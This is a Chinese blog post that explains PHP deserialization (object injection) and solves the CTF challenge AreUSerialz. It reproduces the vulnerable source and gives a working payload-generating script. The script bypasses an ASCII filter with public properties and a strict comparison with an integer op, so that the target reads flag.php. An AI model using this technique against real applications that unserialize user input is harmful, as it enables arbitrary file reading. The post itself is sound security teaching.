初探PHP反序列化

前言
这个漏洞主要是体现在代码审计当中,感觉在CTF里还是比较喜欢考的。

image-20230113215326568

PHP反序列化原理:

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导 致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术 方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

php序列化与反序列化的关键函数:

serialize() 将一个对象转换成字符串

unserialize() 将字符串还原成一个对象

PHP反序列化分类

大体可以分为 有类 和 无类 两种

具体如何区分呢? 直接看 class就可以了。

有 class 就是有类 没有 就是无类

有类和无类的主要区别

区别主要在于 有类就有魔术方法,无类就没有魔术方法

无类
image-20230113210452155

这就将对象转换为了序列化后的值。

image-20230113210755940

这又将其反序列化回来了。

有类
  • __construct() //创建对象时触发
  • __destruct() //对象被销毁时触发
  • __call() //在对象上下文中调用不可访问的方法时触发
  • __callStatic() //在静态上下文中调用不可访问的方法时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性
  • __isset() //在不可访问的属性上调用 isset()或 empty()触发
  • __unset() //在不可访问的属性上使用 unset()时触发
  • __invoke() //当脚本尝试将对象调用为函数时触发
image-20230113211017020

这些就是一些基础知识,下面然我们来看一道CTF的真题吧

CTF题目

2020-网鼎杯-青龙组-Web-AreUSerialz

这道题在CTF hub上是有的。

首先我们进去了后可以看到一串代码,现在我们需要的就是开始读代码。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

我们通过阅读代码可以发现,采取的传参是通过 GET方式 传入str的值。

防护

首先就是 is_valid 函数,

image-20230113212900851

这段代码的意思就是需要我们输入的每个字母的ascii值在32和125之间,所以我们就不可以用默认的protected

因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

image-20230113213032670

可以采用 public 绕过。

还有就是在 __destruct 魔术方法,和 procees

__destruct

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

procees

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

这里我们发现一个问题。

我们需要的执行 process中的 read 函数,但是如果 OP =2了以后,就会在在第直接被改为 1了。

这个时候我们就需要用到 弱比较的绕过。我在PHP基础学习的时候也提过,不清楚的可以看前面的那一篇博客。

**绕过方法:**可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.

编写绕过代码

通过前面的分析我们大题就知道了该如何操作了。

代码

<?php
 
class FileHandler {
 
    public  $op = 2;    //这里也可以用' 2'
    public  $filename = "flag.php";
    public  $content = "1";        //这里的可以随意。
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
 
?>

我们需要注意的是 str是通过反序列化的方式传参,那么我们就需要传入序列化后的值(不懂的你细品)

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

序列化结果

image-20230113214436133
最终payload
image-20230113214618178

我们这里还是看不到 flag 需要右键查看源代码

image-20230113214656923

总结

这种漏洞主要出现在一些代码审计的项目或CTF比赛当中,也就是白盒测试当中,具体的危害还可以结合其他漏洞,比如 SQL注入,文件包含等。